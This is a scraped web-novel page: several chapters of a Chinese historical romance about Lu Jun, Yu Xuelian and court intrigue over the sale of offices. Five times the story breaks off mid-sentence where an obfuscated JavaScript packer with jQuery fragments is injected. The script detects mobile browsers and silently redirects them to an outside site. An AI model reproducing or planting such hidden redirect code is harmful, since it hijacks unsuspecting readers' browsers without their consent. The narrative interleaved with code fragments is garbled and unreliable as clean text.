;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327621|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他闭口不言，任袁丞说着讽刺挖苦的话。 袁丞在虞雪怜那里吃了不计其数的闭门羹，窝了一肚子的气，今日陆隽装聋作哑，不说一句话—— 在袁丞眼里，这两人像是合伙儿来捉弄他。 陆隽有了回应，他微仰视线，直面看袁丞：“小侯爷不回去用膳吗？” 他泛白的脸浮现出笑意，带着些凉薄，没有一丝温度。 袁丞此刻是站着的，而陆隽坐在圆凳上，仿佛是这厢房的主人，下了逐客令。 可偏偏，陆隽说话的语气是这般恭敬冷静。 袁丞浑身戾气，沉在心底的杀意飞速往上升。若这不是镇国将军府，陆隽的脖颈起的就不是红疹。 “你倒提醒我了。”袁丞笑道，“陆公子既不需要人陪着，我是要回去和穗穗用膳了。” 袁丞话锋一转，道：“不过我也要提醒陆公子一句，生来吃青菜粗糠的人，若妄想吃山珍海味，要当心被噎死的风险。” 直到雕花木门合上，陆隽笔挺的腰背弯下，他虚弱地趴在桌边，手指触碰脖颈的红肿。 幸好虞穗忽然离了酒席，若让她看见他这副无力的模样，他该怎么面对她？ 如此想，他脖颈的痛痒缓和了些。 陆隽阖眼，桂花酒的味道尚存，他的身体如同溺入深水，卷进漩涡。 “陆隽，陆隽——” 虞雪怜推开房门便看见陆隽气息奄奄地趴着，他的呼吸很重，像是喘不过气。 她唤他名字，他也不作声。 桌边放着大夫留的药膏和药方子，虞雪怜拧开盖子，思忖要怎么帮陆隽上药。 “陆隽？”她又尝试了一遍，试图先唤醒陆隽，“我先扶你去榻上歇息，好不好？” 陆隽的耳朵微乎其微地动了一下，再无别的涟漪。 虞雪怜放弃叫醒陆隽，随之挽他的胳膊，准备把他扶到榻上。 然而，这一举动却惊扰了陆隽。他不仅醒了，手掌反握住虞雪怜的胳膊，防备地盯着她。 “陆隽，你喝醉了吗？”虞雪怜清晰可见陆隽敞开的衣领，露出大片的红肿。 他的锁骨如鹿角，线条流畅。或许是他之前总是穿得严丝合缝，如今他扯开衣领，虞雪怜的目光自然落在了这一处。 陆隽好似看不清她是谁，脸贴近她，说道：“我没有喝醉。” 虞雪怜忙拿起瓷瓶，说：“我先帮你上药。” “虞穗，”陆隽呢喃道，“你在想什么？” 虞雪怜顿了顿，陆隽的脸已然贴在她的两颊，仿佛是在抚摸她。 她的眉毛，眼睛，鼻子，耳朵，只剩下嘴唇。 虞雪怜本也喝了酒，可她是清醒的。 她想陆隽一定不知道自己在做什么，他念着要守分寸，给她洗了罗袜还要给她道歉的，现在却这样与她亲近。 趁着陆隽不清醒，虞雪怜把手指伸进瓷瓶，沾了一点药膏，敷在陆隽的脖颈。 陆隽停下动作，问道：“虞穗，我该……怎么办。” 42. 亲密 因客房朝西，日光照不进来，房内半明半暗。 在前院走动的丫鬟小厮很少，路过时的脚步声慢慢，无人在意这一间普通客房，偶有打着碰面的丫鬟站在屋檐下闲谈两句。 若无这扇门挡着，幸而有这扇门挡着，才足以遮掩这两人的亲密。 陆隽一连发问，虞雪怜的身子往后倾，她道：“陆公子，大夫不是交代过吗？上药要紧。” 她后边空无一物，身子跟着晃了一下，陆隽用手护着她的腰，问：“虞姑娘为何要躲？” 如今是深秋了，虞穗的衣裳是布厚料，光滑细腻，吸附在他掌下。 陆隽低眸看她，他确实不胜酒力，可若说此刻不知道自己在做什么，那便是撒谎。 酒只是让他晕眩而已，他清楚他的这双手抱住的是谁，也清楚他所做的冒犯。 陆隽复问道：“虞姑娘，为何要躲？” “我这是担忧陆公子喝醉了。”虞雪怜回避着陆隽的目光，道，“陆公子的脖子，起了这么一大片红肿，还是先上药为好。” 她看不透陆隽是否喝醉，他瞧着是有些疲惫，衣袍沾染浓郁的酒味。 可他的举止却又相当知轻重。 陆隽的手掌没有乱动，仅是为护她不摔下凳子。方才他的脸扫过她的面容，并未再有别的。 虞雪怜一直以来图的便是陆隽内阁首辅的权力，且见过他上辈子权倾朝野，铁石心肠的样子，一开始靠近他自是敬他畏他。 渐渐地，她胆量愈发大了，离他越来越近——她活了两辈子，如何不明白男女之情？ 然现在她眼前的是陆隽，若是让他知晓，她是带有目的对他好，他还会如此吗？ 虞雪怜坐直，腰背僵硬。 陆隽也松开她的腰，似乎不觉得刚才的举止不妥，他不急着恢复往日的克己守礼，亦在告诉她，他的举止并非冲动。 “我自己来。”陆隽伸手，示意虞雪怜把药膏给他，“陆某已经给虞姑娘惹了不少麻烦。” 虞雪怜莞尔道：“陆公子多虑了。你今日是客，遇到这种祸事，是府邸有失待客之道，我理应要弥补。” 她归根是有愧于陆隽，若袁丞不在镇国将军府，陆隽本可以不遭受无妄之灾。 虞雪怜的指腹残留着药膏，陆隽坐的位置在暗处，她顺着陆隽敞开的衣领，接着涂抹那片显眼的肌肤。 药膏黏腻，她的食指在陆隽的脖颈游走。 为了防止有遗漏的，虞雪怜下意识凑近去看，遂蘸药膏摩挲。 陆隽的喉咙微动，这药膏带着些许凉意，她的食指来回涂抹，减去了几分痛痒。 “我和老师来金陵在城外租赁了一户瓦房。”陆隽说，“今日原是跟老师拜访故友，那位前辈收了虞将军的请帖，便请老师也随他来。” 他三言两语说出近日来的动向，如若不是恰巧赶在今天拜访张泰禾，他和虞穗见不到面。 而下次见，也不知是什么时候了。 虞雪怜抬头看了看陆隽，问：“陆公子可看了那张请帖？” 陆隽答道：“我和老师见张先生要去赴宴，本要起身告辞，但张先生劝说老师留下，让我读了一遍请帖。” 末了，他添了句：“虞姑娘的字，写得很好。” “是陆公子教得好。”虞雪怜拧紧瓶盖，以丝帕擦干净手，说，“陆公子租的是城外哪户人家的瓦房？” 陆隽道出那户瓦房的位置，他把衣衫恢复成严丝合缝的模样。 房外小丫鬟的交谈声此起彼伏： “老太太今儿高兴，不打发咱们去干重活，还能偷偷懒呢。” “说得是，不过今儿有点古怪，那小侯爷当初怎么说的？要和娘子断绝关系，现在来巴结老太太，你说娘子该不会又跟他旧情复燃了吧？” “这我哪知道？小侯爷方才不是搀了个俊俏男子，叫大夫给他把脉吗，就在这院里的客房，这会儿怎没动静了。” “小侯爷去兰园了，估摸着这男子正在客房歇息。” 虞雪怜尴尬地垂下眼帘，这些个小丫鬟在背后说闲话是常有的事，可入了陆隽的耳朵，她颇是难为情。 她想解释一二，却不知从何开始。 这时，孩童稚嫩的声音乍现。 “两位姐姐，你们看见我大哥哥了吗？”张沃在正厅溜达了一圈，到处找不着陆隽的身影， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376224|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路问小厮，摸索走到前院。 小丫鬟嬉笑俯身，摆弄张沃头顶的小辫，道：“这府邸今日来的客人不少，你大哥哥姓甚名谁，是哪个公子哥儿？” 张沃的圆脸皱巴着，说：“我大哥哥好像姓陆，他，我爷爷说，有个小侯爷带他去给老太太拜寿了。” “哦，是陆公子啊。”丫鬟牵起张沃的手，说：“你大哥哥病了，这会儿在客房歇息。” “大哥哥病了？”张沃怯生生地问，“姐姐能不能带我去找大哥哥，我爷爷说宴会快散了，让我先来找大哥哥，等会儿要一起回家。” 丫鬟点点头，说：“那你跟我来。” 她扫视了一圈院里的客房，问身边的小丫鬟，“这陆公子在哪间房歇着？” “这间。”小丫鬟指了指西边的第二间房，道：“我刚瞧见卉娘子在这间房前站着，大夫也是从这间房出来的。” 小丫鬟忽然放低声音，稀奇地说，“咦，花容姐姐，这房里怎么有两个人影，我莫不是看错了，小侯爷不是回兰园了吗？” 花容放眼一望，那房里隐约有人在走动。她领着张沃上了台阶，敲响房门，道：“陆公子，有位小公子找您。” 张沃也举手敲房门，喊道：“大哥哥，你怎么病了呀？” 花容在拢翠阁做事，她受柳姨娘的委派到兰园帮忙干活。 她眼神一向好，主子刺绣都是她引针穿线的，这房里站了两个人，既不是小侯爷或大夫，那会是谁？ 她家娘子矜持规矩，绝不会和外男单独在一间房。表姑娘平日爱玩，但也不大可能做出荒唐事来……若是兰园的那位娘子，她这门便是替主子敲的。 须臾间，房门开了。 男子面如冠玉，脖颈发红。 花容想往里边看，奈何陆隽已经走出来，他关掉房门，转身向她道谢：“有劳姑娘。” “公子客气了。”花容福身说道：“小公子挺乖的，我是拢翠阁的丫鬟，小侯爷交代过奴婢，让您好生歇息到宴会结束。” “不若由奴婢带这小公子在后花园逛逛，您再接着歇息片刻？” 她定要搞清楚，那房里的人是不是虞雪怜。 43. 关系 这厢房从外边瞧不出什么，花容心下暗忖，若这陆公子要走，她也得进这房里看看有无旁人。 陆隽回道：“陆某已在此歇息许久，现在已无大碍。” 张沃踮起脚，抱住陆隽的手，糯声糯气地问：“大哥哥，你是不是喝酒喝得生病了？我爷爷就醉得稀里糊涂的。” 陆隽轻抚张沃的脑袋，问道：“你爷爷要你过来寻我？” 张沃重重地点头，吸了吸鼻子，说：“大哥哥，你身上和爷爷喝的酒味道不一样。” 小孩子说话跳脱，一会儿问陆隽去了哪里喝酒，一会儿说要去找爷爷了。 陆隽见状向花容告辞，问道：“劳烦姑娘带路，陆某对府邸不熟悉，不知要走哪条路通正厅。” “大哥哥，我来的时候都迷路了呢。”张沃扬起圆乎乎的下巴，嘀咕道，“这宅子太大了，好几个院子，还好有姐姐们给我指路。” 花容一门心思要堵这藏在房里的人，陆隽又开口请她带路，她便更认定这房中是女眷，“可不巧，奴婢要去兰园伺候姨娘了。” 她拉着身侧的小丫鬟，说：“让秋雯给公子引路吧，她是兰园的丫鬟，跟在夫人房里的。” 陆隽略微抬眼，应道：“多谢姑娘。” “公子客气了。”花容面上明显添了不少笑意，朝陆隽福了福身，“奴婢先忙活去了。” 花容偷偷端量陆隽，想记下这男子的长相——她给卉娘研过几次墨，男子的袖口有墨迹，想来是个喜欢读书写字的，怎么在她们府邸幽会？ 这也正是姨娘说的那句话，人不可貌相，光是看外表是不行的。 花容佯装要去兰园，秋雯倒没想别的，有规有矩地带着陆隽和张沃往正厅走。 院里刮起风来，虞雪怜躲在厢房的木柜后面，手掌起了一层汗，她跟陆隽的关系此刻好似见不得人的那种。 尤其这是在自家的府邸，她和他挨得那般近，若是让人撞见，该落得个不好的名头。 “吱呀——” 花容折返回来，蹑手蹑脚地开了房门，鞋履踩着木板，一步一步地察看。 虞雪怜闻声屏住呼吸，听脚步声，不像是陆隽。 既有人忽然进来，那便是居心不良。 花容左瞧右望，床榻平整，紫檀屏风后边也无人影，房内没有旖旎的气味。 她失望地撇了撇嘴，莫非是她猜错了？ 花容扫了一圈，见木柜上零散的书籍，跟其他客房相差不大。 找不到蛛丝马迹，仿佛无头苍蝇，她气馁地离开厢房。 虞雪怜这才从木柜那处出来，直等听不到动静，她匆匆出了厢房，抄了近路回兰园。 宴席接近尾声，陆隽牵着张沃随丫鬟到了正厅。 虞鸿在厅内陪着这些文臣武将，又说了一番心坎儿的话，逐一送客出府。 张泰禾喝得醉醺醺，走路颤颤巍巍的。陆隽扶他上了马车，抱着张沃送到马夫怀里。 “大哥哥！你和陈爷爷有空还来金陵玩吗？”张沃挥手问。 “小子，你舍不得我们走呀？”陈昌石虽吃了酒，说话却比张泰禾利索，“你可数着日子，再过两个月，金陵下雪了，我和你大哥哥就去你家讨饭吃。” 张沃似懂非懂，眨了眨葡萄似的眼睛，说：“陈爷爷说话算话，要带大哥哥来我家吃饭，我娘熬的莲子羹特别好喝。” 他白胖小手握紧陆隽的胳膊，咧嘴笑道：“大哥哥，你下次来，记得给我拿好玩的！” “好。”陆隽大抵是第一次这么受小孩子喜欢，唇角露出温和的笑。 陆隽回首看了一眼镇国将军府的牌匾，遂搀着陈昌石，走向他们来时坐着的陈旧马车。 …… 从金陵到慈溪镇，已是次日子时。 陆隽在陈昌石的书院歇息了一夜，清早和书童打扫庭院，跟陈昌石喝了一盏茶，回了花坞村。 几日不住在家里，院子一地的残叶，陆隽拿着扫帚又是一阵清扫。 他进了屋，强撑两夜，身体自是吃不消，躺在榻上就睡着了。 概因在镇国将军府喝了过量的酒，耗费心神应对袁丞，陆隽睡得很沉。 黄昏至夜幕降临，村中的黑狗在深夜里吠叫。 陆隽被吴阿牛的敲门声吵醒——他睁开眼睛，不是虞穗府邸厢房的藻井天花板，而是积满灰尘的房梁。 “隽哥！隽哥！你回来了怎么不吱我一声，你宅子定下了吗？” 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437306|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木闩锁着，是以吴阿牛只得在外敲门。 “路上颠簸，回来便有些乏累。”陆隽开了屋门，眼皮下一片青色。他披了件外袍，即使睡了一觉，仍不减身上的疲惫。 吴阿牛手里提了食盒，道：“隽哥，你还没吃饭吧？是盼夏那丫头告诉我，你回村了。她催我来看你，我寻思你赶路劳累，就去镇上酒楼买了两盘酱牛肉，给你补补身子。” 陆隽系好腰带，去打了一盆水洗脸。 吴阿牛则在灶房忙进忙出，把酱牛肉放在桌上，烧了一锅红薯汤。 “酒楼给你结工钱了吗？”陆隽提筷给吴阿牛夹了一块牛肉，问，“今后打算做什么？” 吴阿牛闷口吃着牛肉，叹了口气，道：“工钱是给我结了，但我这委屈是白受了。隽哥，我这几天整宿都没睡个囫囵觉，慈溪镇能做的长工一巴掌都数得清，赚的钱也是一巴掌数得清，这日子有甚盼头？” 说着，他耸拉下脸，垂头丧气地说：“我爹娘盼我当村里最有钱的人，早早地娶个媳妇回家。结果现在……唉，不说我了，隽哥，你那宅子——” 陆隽穿的外袍宽松，衣领半敞，脖子上的红印尚未消退，惹人浮想联翩。 吴阿牛一时结巴，忘了要说的话，拐弯道：“隽哥，你这脖子怎么了？” “被蚊子咬了。”陆隽淡然说，“宅子在金陵城外，一年租金六十两白银。” 吴阿牛几乎要惊掉眼珠子，说道:“六，六十两？我的老天爷，这要在酒楼干个十年，不，二十年才赚得到啊。” 陆隽说：“官府赏了五十两白银给解元，我这些年攒了一点钱财，勉强租了这座宅子。” 宅子是老师托人找的，到手的价钱亦是市面上遇不到的，陆隽不犹豫地付清租金。待理完他爹娘生前欠的最后一笔账，入了冬方可搬去金陵住。 吴阿牛一脸羡慕：“隽哥，我若像你这样能干就好了。金陵城啊，有的人活了一辈子也不得去。” 说到金陵城，吴阿牛直白地问：“隽哥，你这次去，有没有碰见虞姑娘？” 陆隽抿唇，他贴着虞穗的脸，双手环在她的腰上，以及，她躲避的目光，这些画面尽数跃现。 他如实答道：“碰见了。” 44. 西厢 人若是出趟远门或消失了一段日子，便引得村里人胡乱猜测。 大娘婶子们说陆隽跟着小娘子去享福了，就是不晓得他到的是哪户富贵人家。他如今飞上枝头变凤凰，哪肯再回花坞村？ 吴阿牛没提这些人嚼的耳根子，反正隽哥早晚要在金陵城大有作为，犯不着听他们胡说八道。 “隽哥，虞姑娘请你去她家做客了吗？”吴阿牛两眼发亮，兴致勃勃地问，“虞姑娘她家气派吗？隽哥见了她父亲吗……” 他越说越激动，仿佛过几天就能喝到喜酒。 “是偶然碰见的。”陆隽简短地说了一句，略过吴阿牛的问题，“我现在手里有个做长工的差事，你可愿意去做？” “啊？”吴阿牛咽下牛肉块，喝了一整碗水，擦净嘴巴，斯斯文文地坐直身子，“隽哥，你说的差事准是好的，我肯定愿意去。” 陆隽去拿放在书案抽屉里的一包银两，交给吴阿牛，道：“这是三十两白银，丹阳县有家布庄要盘出去，要的银子刚好是这个数目。你把它买下来经营，一年分给我四成的利润。” 这包袱沉重，吴阿牛揽在怀中，他消化掉陆隽的话，头立刻摇成拨浪鼓，像接了个烫手山芋，忙要还给陆隽。 “隽哥，你说的这差事，我哪干得好？”吴阿牛心知肚明自个儿有几斤几两的本事。隽哥这么信任他，他若是把生意做赔了，亏得血本无归，他更没脸见隽哥。 陆隽摁住包袱，说：“我走入仕途，之后便不能经商，可若要短时间积攒家产，指靠俸禄是不够的。” 他此次去金陵城，老师借了他一半的租金。 这三十两是数年来卖字画，去隔壁县码头搬货，帮吴煦断案，收了报酬。加之把陆家的十亩地卖了出去，得以有这笔钱财。 陆隽原不是贪财之人，拼了劲做体力活，所为的也是还清欠债。 即使曾去过金陵，看尽城内繁华奢侈，他始终以为钱财乃身外物，不过是满足人的种种欲望。 陆隽以为他身上并无这种欲望。 然镇国将军府的牌匾烙在他心上，虞穗住的宅院，穿的衣裙，戴的首饰，这一包袱三十两的银子，也许只够给她买下一两件头钗而已。 吴阿牛悬着的手僵了一下，听隽哥的意思，三十两银子远远算不上家产。 “那……隽哥是想做大生意？”吴阿牛仰着脖子，顿觉陆隽很是威严，他怯弱地说，“我不是不想做这差事，毕竟是赚大钱，但我怕做不好，耽误隽哥。” 陆隽闻言松手，沉默良久，道：“若是如此，便要另外找人了。” 吴阿牛面露纠结，与其让隽哥另外找人，不如赌一赌。 酒楼掌柜的啰里啰嗦地念过，用人不用亲。隽哥愿意把这三十两银子交付给他，他若退退缩缩地当头乌龟，真是没一点出息。 “隽哥，”吴阿牛握紧包袱，坚定地说：“我想做这差事，我明儿个早起就去丹阳县瞧瞧，努力把这生意给它支棱起来。” “还有利润，我占四成，你占六成，不然说什么我都不做。” 陆隽低笑一声，道：“别急，你先和我签一份契据。” 契据是陆隽去金陵前写好的，吴阿牛凝神看了半盏茶的工夫，唯一有异议的是利润。 他执意让陆隽重写一份，“隽哥，你拿毛笔把它改改。你六我四，咱们按常理办事，本金全是你出的，你让我占六成，这不行。” 两人谈论完契据，签了名字。 村里的狗吠声消失。吴阿牛打了个呵欠，说道：“隽哥，今晚我不回去了，你明早叫我起来，咱一起去趟丹阳县。” 陆隽困意不深，且他昨夜在书院，洗身换衣不方便。今天赶回来又拾掇屋里屋外，脏了的衣袍放在木盆，若是隔一夜，等明日会有味道。 “你歇着吧。”陆隽收了碗筷，说道，“我有两件衣袍要洗。” 吴阿牛点点头，他晓得隽哥爱干净。“那我去眯一会儿。” 秋夜的风带着寒气。陆隽揉搓掉衣袍的脏污，把它搭在绳上。 他继而去洗了身子，换了里衣。 陆隽回屋见吴阿牛睡得香甜，书案的蜡烛散着微黄的光，他取出前些日子买的《西厢记》。 许是读遍了圣贤书，孔儒之道，陆隽对民间热卖的话本故事起了求知欲。 老师说书院的学生总是偷偷地去买这低俗之物，凡是被他逮到的，要用戒尺打掌心，抄写《孟子》。 耳濡目染，陆隽觉得此类书籍低俗不堪。 可他鬼使神差地买了这本书，看得入了神。 露骨的艳词，每个字他都认得，却是初次见到这样一段又一段的云雨。 软玉温香，柳腰款摆，花心轻折。 陆隽掀书的手停顿下来，村民背地说他的闲话，他知道个大概。 他觉得那些无非是粗俗的言语。 譬如二虎一家在村头说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465552|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他是男人的败类耻辱，耍手段勾引良家小娘子。 思及此，陆隽接着翻下一页。那日在镇国将军府的客房，他的举动和勾引似乎无太大的区别。 虞穗看他的目光有敬畏，有同情，有怜惜——唯独没有情意。 偏偏想看的看不到。 陆隽不明白，她为何用这般复杂的眼神看他。 他倏忽合上书，拭去额头的热汗，若是再看下去，他和市井的好色之徒有何异处？ 陆隽读的圣贤书在这时唤醒他丢掉的君子守则，《西厢记》被装进盛着杂物的木箱。 他想起今日尚未涂的药膏，其实脖颈的红疹已消肿了，仅是时而会有刺痛感。 药膏依旧是冰凉黏腻的，陆隽慢条斯理地涂抹，脑中混乱的思绪纷扰，若是勾引有用，那又如何不能做。 另一道声音扯着他离开黑得不见底的，名为欲望的深渊。 他不能伤着虞穗。 * 金陵的秋天既漫长又短暂，下过几场雨，便到了立冬的节气。 这一日，圣上下旨，判承宣伯谋反罪，私通外敌，陷害忠良，将于三天后在城门前的刑场斩首示众。其余族人关押地牢，流放女眷。 高乘远定了一间茶楼厢房，请虞雪怜来喝茶。 “你看，承宣伯的囚车走到这儿了。”高乘远支起窗户，捧着热茶，道，“他死得不冤，身为南郢的伯爵，住圣上赏赐的宅子，简直吃了熊心豹子胆，敢动谋反的念头，勾结北凉人。” 虞雪怜手里拿着汤婆子取暖。虽刚过立冬，但金陵今年湿冷。 她昨儿着了凉，躺在榻上睡了一天。大夫交代她这几日莫要出门见风，省得头疼咳嗽的。 高乘远约她来围炉煮茶，说有件新鲜事跟她说。 她睡了一夜，身子好了些，出府坐着轿子来，路上冲不到什么风。 最近金陵变动极大，只看高乘远父亲的官职，虞雪怜不想错过他所说的新鲜事。 虞雪怜望着楼下百姓扎堆瞧承宣伯，这场面她在上辈子便看过了。 当年关在囚车里的爹爹，奄奄一息地剩下半口气吊着，那些百姓一句接一句地骂： “狗贼，你不得好死。” “勾结北凉人的叛徒！永世不得超生。” 如今，囚车里关的是承宣伯，百姓骂的话还是这几句。 不一样的是，当年陆隽也在刑场，目睹了爹爹的惨死。 45. 说谎 少年时的高乘远浑身热血，激昂慷慨，毫不遮掩对奸臣的鄙夷。 但虞雪怜没应他的话，他见她手里揣着个汤婆子，便关严窗户，问：“虞娘子，你冷吗？” 虞雪怜垂下眼睫，说：“是有些冷。” 高乘远也是习武之人。冬天光着膀子跟父亲练功，身子很御寒，单穿锦袍就出府了。 而虞雪怜披着淡紫绣重明鸟的斗篷，两人过的季节是一秋一冬。 高乘远今日请虞雪怜吃茶，一来，是想告诉她件应该称得上是紧要的事。二来，她是他的救命恩人，左思右想，只是给人家祖母拜寿，怎么能算是还恩情呢？ “高公子要跟我说的是什么新鲜事？”虞雪怜问。 “月初我和长兄去国子监看望老师，听老师说圣上在严查金陵捐官买官的事。”高乘远一面给杯盏添热茶，一面说道，“我倒是对政事不感兴趣，坐不了一会儿就想回府了，回府才知原来父亲领了圣上的旨意，要查出这幕后滥用职权的臣子。” 虞雪怜不解地看着高乘远，他说的这番话牵涉朝堂，纵使现在的他远不是那么稳重，也不至于莫名跟她讲这些。 “高公子说的，我听不懂。” 高乘远朝她招招手，让她坐他身边来，颇是一副势必要给她解释清楚的态度。 虞雪怜轻笑出声。 她瞬息间想到在地牢，高乘远坐着审讯的官帽椅上，她被锁链禁锢，他招手吩咐狱卒给她施刑。 狱卒举起烧红的铁具在她面前晃来晃去，笑眯眯地问高乘远要烙她身上的哪个地方。 高乘远的语气不悦，或许是不满狱卒狐假虎威，又冷言呵斥狱卒滚出去领罚。 虞雪怜便记得内阁大政事脾气不好，但人不坏，至少他没让狱卒给她施烙刑，心肠总归不是黑透了的。 她慢步走过去。高乘远慌手忙脚地熄掉炉火，把茶案弄得湿了一片，“嗯……虞娘子，我这煮茶的功夫不熟练，你多见谅。” “我方才说的那件事，是跟临川侯府有关。”高乘远斟酌着说，“父亲查了，可虞娘子也知临川侯府的势力，若是找不着确凿的证据，即使告给圣上听，也威胁不到临川侯。” 虞雪怜握着汤婆子的手蓦然一紧，她问：“高公子说给我如此机密的事，是否妥当？” 少年眼眸微弯，笑道：“这件事说不上是机密，我今日说给虞娘子听，是想问问，你知晓袁丞插手过捐官的事么？” “不知晓。”虞雪怜干脆地回道。 所幸她并未把高乘远看作是秉性单纯的人，单是听他意味深长地笑，就硬生生地把她拽回在地牢受审讯的日子。 高乘远深感困惑，是他说错话了吗？虞娘子似乎不怎么愿意跟他谈袁丞。 他局促地道：“我的意思是，袁丞这人曾经不靠谱，若圣上有朝一日要彻查这件事，我担忧会牵扯到镇国将军府。” “高公子是在担忧我和袁丞之前有瓜葛？”虞雪怜侧目问。 高乘远连连点头，道：“若虞娘子能找着临川侯府犯下罪行的证据，不就可以撇开关系了吗？” 虞雪怜笑吟吟地说：“高公子可想过，我一介女子，纵使走运找着他们的罪行，我该以何种身份去撇开关系呢？” “这……”高乘远挠了挠头，漆黑如墨的眉毛皱着，“是我欠考虑，把事情想简单了。” 上次从老太太的寿宴回去，长兄提醒他，恩情不一定非要现在还，适当地保持跟镇国将军府的距离，尽量不要和虞娘子接触。 长兄说，他到了适婚的年纪，若让母亲知道他和虞娘子有来往，绝对要大发雷霆。 虞雪怜啜了一口茶，道：“有劳高公子告诉我这些，可惜我空有一些武力，对付不了袁丞。” “虞娘子原来会武功吗？” 高乘远幼时学会走路便看父亲教长兄武功，是以他不到三岁就跟着长兄习武，府邸几个房里的姊妹只略通拳脚功夫。出了府，很难见到会武功的女娘。 “这一点，我和高公子是相像的。”虞雪怜说。 高乘远失笑道：“是了，你我的父亲跟长兄都是习武的。那日是虞娘子在马场施以援手，不然我这两条腿就废了。” 楼下的囚车想来是到了刑场，茶楼附近的嘈杂声渐小。 这座茶楼掌柜的阔气，从不愁生意不好。用的茶具是上等的掐丝珐琅、翡翠和景德镇的青花瓷——当然，摔在地上的声音也是非同寻常的清响。 高乘远望向房门，那门前站了一两个男子。 “哟，几位客官这是弄哪样？”小二的掐着嗓子说，“咱的茶具比不上哥儿府上的珍贵，但咱掌柜是真金白银买回来的呀。” 虞雪怜的视线亦往房门那儿看，但听小二的又嬉笑道：“得嘞，那小的收下了。哥儿们若还有吩咐，只管叫我一声。” 她低头观察案上的茶具，这一套下来，是值许多银两。 可厢房的客人，若是惜茶爱茶者，岂会把这么好的茶具给摔了？ 虞雪怜掩面饮下杯盏剩的茶水，旋即说：“高公子，我得回府了，他日我再请你吃茶。” 高乘远跟着起身，推开房门，却见燕王世子坐在对面厢房。 他左手边站着两个男子，一个身穿布衣，一个身穿圆领袍。 地上全是碎成渣子的茶碗，李秉仁指着布衣男子，道：“你把这给收拾干净。” 高乘远迟迟不走，虞雪怜自是发觉出异样。 “那是袁丞？”高乘远神情复杂，不知这厢房的隔音如何，他和虞雪怜适才说了许久临川侯府捐官的事，谁料袁丞竟在隔壁。 看袁丞的反应如常，高乘远觉得是自己思虑过度了。 虞雪怜默然不语，所谓冤家路窄，李秉仁的厢房内坐着金陵有名的纨绔，这群人聚在一起，不大可能是纯粹来喝茶的。 李秉仁抱臂看着正盯着他的高乘远，笑道：“高公子和虞娘子何时这般亲密了，亲到独处一室吃茶？” 他的用词意有所指，着重说亲密二字。 “燕王世子忘了吗？”高乘远手背的青筋绷起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495663|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，道，“我欠了虞娘子的恩情，今日请她吃茶，世子别成天想入非非的。” 李秉仁悠然说：“高公子的口气真是臭得一如既往呢，那本世子便不邀你到我这儿吃茶了，免得呛着我的鼻子。” 周围的纨绔噗嗤笑道：“这高公子说话挺有趣，咱们世子怎么就想入非非了？” 李秉仁挥手让小厮把门关上，“行了，这小子狂妄自大也不是一天两天的事了，我见到他就心烦。” …… 出了茶楼，虞雪怜和高乘远分别坐上马车。 百姓都跑去刑场看刽子手斩承宣伯的人头，街巷空落落的。 “娘子，你身子没好利索，把车帘放下吧。”金盏在旁关切地说，“今儿又是承宣伯问斩，奴婢瞧这天色是要下雨，娘子这两天体弱，承宣伯死后必有怨气，咱们可要快点赶回府。” 虞雪怜细眉间似堆积了舒展不平的云团，她捋着近日来金陵的变故，临川侯捐官卖官的事，她在上辈子知悉一二。 除此之外，临川侯徇私舞弊，贪污赋税。他在背后掌舵，派儿子去操办。这等损朝廷而利侯府的事，袁丞从不向她提起。 